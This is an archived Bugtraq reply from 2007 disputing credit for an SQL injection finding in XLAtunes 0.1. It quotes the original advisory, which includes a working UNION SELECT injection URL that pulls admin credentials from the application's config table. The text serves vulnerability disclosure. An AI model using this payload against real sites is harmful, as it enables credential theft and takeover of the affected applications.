bugtraq - Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Tue, 20 Feb 2007 11:34:30 -0600
From: str0ke <str0ke@...w0rm.com>
To: "Guns@...0.com.ar" <Guns@...0.com.ar>
Cc: bugtraq@...urityfocus.com
Subject: Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability

This was actually found by Bl0od3r, and was posted on the 17th.  Yep
you pretty much nop'ed the found by section, nice job.

http://www.milw0rm.com/exploits/3327

/str0ke

On 19 Feb 2007 19:27:31 -0000, Guns@...0.com.ar <Guns@...0.com.ar> wrote:
> #Critical Status:High
> #Found By: 0x90 #Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
> #Greetz:all my friends
> #confkey->Password
> #confvalue->Username
> #Table:config
> #http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*
>
>